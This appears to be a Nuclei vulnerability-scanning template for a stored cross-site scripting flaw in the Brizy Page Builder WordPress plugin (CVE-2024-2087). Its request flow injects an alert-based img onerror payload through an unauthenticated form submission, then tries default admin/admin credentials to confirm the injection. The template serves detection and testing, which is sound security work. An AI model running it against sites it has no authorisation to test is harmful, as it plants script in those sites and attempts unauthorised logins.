Copy
id: CVE-2024-2087
info:
name: Brizy Page Builder <= 2.4.43 - Unauthenticated Stored Cross-Site Scripting
author: DhiyaneshDk
severity: high
description: |
The Brizy – Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form name values in all versions up to, and including, 2.4.43 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
impact: |
Attackers can execute arbitrary scripts in users' browsers, leading to session hijacking, defacement, or redirection.
remediation: |
Update to the latest version of Brizy Page Builder that addresses this vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/694d0b49-c4dd-40f0-99c9-5eb8c3c08ba9
- https://patchstack.com/database/wordpress/plugin/brizy/vulnerability/wordpress-brizy-page-builder-plugin-2-4-43-unauthenticated-stored-cross-site-scripting-via-form-vulnerability
- https://plugins.trac.wordpress.org/changeset?new=3086506%40brizy%2Ftrunk&old=3058896%40brizy%2Ftrunk
- https://nvd.nist.gov/vuln/detail/CVE-2024-2087
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2024-2087
epss-score: 0.00378
epss-percentile: 0.33839
cwe-id: CWE-79
metadata:
verified: true
max-request: 4
vendor: brizy
product: brizy
framework: wordpress
publicwww-query: "/wp-content/plugins/brizy/"
fofa-query: body="/wp-content/plugins/brizy"
tags: cve,cve2024,wordpress,wp-plugin,wp,brizy,xss,stored-xss,intrusive,unauth,authenticated,vkev
variables:
marker: "{{rand_text_alpha(8)}}"
username: "admin"
password: "admin"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /wp-json/wp/v2/pages?per_page=100&_fields=content HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "data-brz-form-id")'
internal: true
extractors:
- type: regex
name: form_id
part: body
internal: true
group: 1
regex:
- 'data-brz-form-id=\\?"([a-zA-Z0-9_-]+)'
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=brizy_submit_form&form_id={{form_id}}&data=%5B%7B%22name%22%3A%22{{marker}}%5C%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E%22%2C%22label%22%3A%22Name%22%2C%22type%22%3A%22Text%22%2C%22value%22%3A%22x%22%7D%5D
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP Cookie check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1&redirect_to=%2Fwp-admin%2F
matchers:
- type: dsl
dsl:
- 'status_code == 302 || status_code == 200'
internal: true
- raw:
- |
GET /wp-admin/edit.php?post_type=editor-form-entry HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{{marker}}\"><img")'
condition: and
- type: word
part: body
words:
- "editor-form-entry"
# digest: 490a0046304402205525f320997902badc82bef76255221fe9c510695d2563d1a7b615ee11db056302202a6fe5cf9c060eb6d277a03bd80510a728403d87902e477c9a96633e43efd610:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.